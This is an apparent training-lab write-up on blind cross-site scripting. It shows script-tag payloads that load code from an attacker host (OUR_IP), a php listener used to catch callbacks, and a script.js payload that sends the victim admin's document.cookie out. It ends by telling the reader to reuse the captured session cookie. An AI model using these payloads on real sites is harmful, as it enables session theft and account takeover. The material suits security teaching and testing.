Normally, Cross-Site Scripting (XSS) vulnerabilities are visible and directly exploitable by the attacker. However, in cases where the vulnerability is triggered on a page that we don’t have direct access to, we call it Blind XSS. This type of vulnerability is more challenging to exploit, but it can be just as dangerous as a regular XSS vulnerability.
Blind XSS vulnerabilities usually occur with forms only accessible by certain users (e.g., Admins). Some potential examples include:
- Contact Forms
- Reviews
- User Details
- Support Tickets
- HTTP User-Agent header
An example of XSS:
This indicates that we will not see how our input will be handled or how it will look in the browser since it will appear for the Admin only in a certain Admin Panel that we do not have access to. In normal (i.e., non-blind) cases, we can test each field until we get an alert
box, like what we’ve been doing throughout the module. However, as we do not have access over the Admin panel in this case, how would we be able to detect an XSS vulnerability if we cannot see how the output is handled?
We can change the requested script name from script.js
to the name of the field we are injecting in, such that when we get the request in our VM, we can identify the vulnerable input field that executed the script, as follows:
<script src="http://OUR_IP/username"></script>
<script src="http://OUR_IP/fullname"></script>
If we get a request for /username
, then we know that the username
field is vulnerable to XSS, and so on. With that, we can start testing various XSS payloads that load a remote script and see which of them sends us a request. The following are a few examples we can use from PayloadsAllTheThings
Then we must set up a listener in order to catch the response from Admin:
php -S 0.0.0.0:80
[Wed Feb 5 22:03:58 2025] PHP 8.2.27 Development Server (http://0.0.0.0:80) started
[Wed Feb 5 22:04:34 2025] 10.129.151.107:60206 Accepted
[Wed Feb 5 22:04:34 2025] 10.129.151.107:60206 [404]: GET /profile - No such file or directory
[Wed Feb 5 22:04:34 2025] 10.129.151.107:60206 Closing
The /profile
was vulnerable, and we can inject other payloads to get what we want.
We can write any of these JavaScript payloads to script.js
, which will be hosted on our VM as well:
new Image().src='http://OUR_IP/index.php?c='+document.cookie
Now, we can change the URL in the XSS payload we found earlier to use script.js
:
<script src=http://OUR_IP/script.js></script>
In return, we got:
php -S 0.0.0.0:80
[Wed Feb 5 22:06:59 2025] PHP 8.2.27 Development Server (http://0.0.0.0:80) started
[Wed Feb 5 22:07:14 2025] 10.129.151.107:60260 Accepted
[Wed Feb 5 22:07:14 2025] 10.129.151.107:60260 [200]: GET /script.js
[Wed Feb 5 22:07:14 2025] 10.129.151.107:60260 Closing
[Wed Feb 5 22:07:14 2025] 10.129.151.107:60262 Accepted
[Wed Feb 5 22:07:14 2025] 10.129.151.107:60262 [404]: GET /index.php?c=cookie=c00k1***** - No such file or directory
[Wed Feb 5 22:07:14 2025] 10.129.151.107:60262 Closing
Place the cookie into your application storage and enjoy.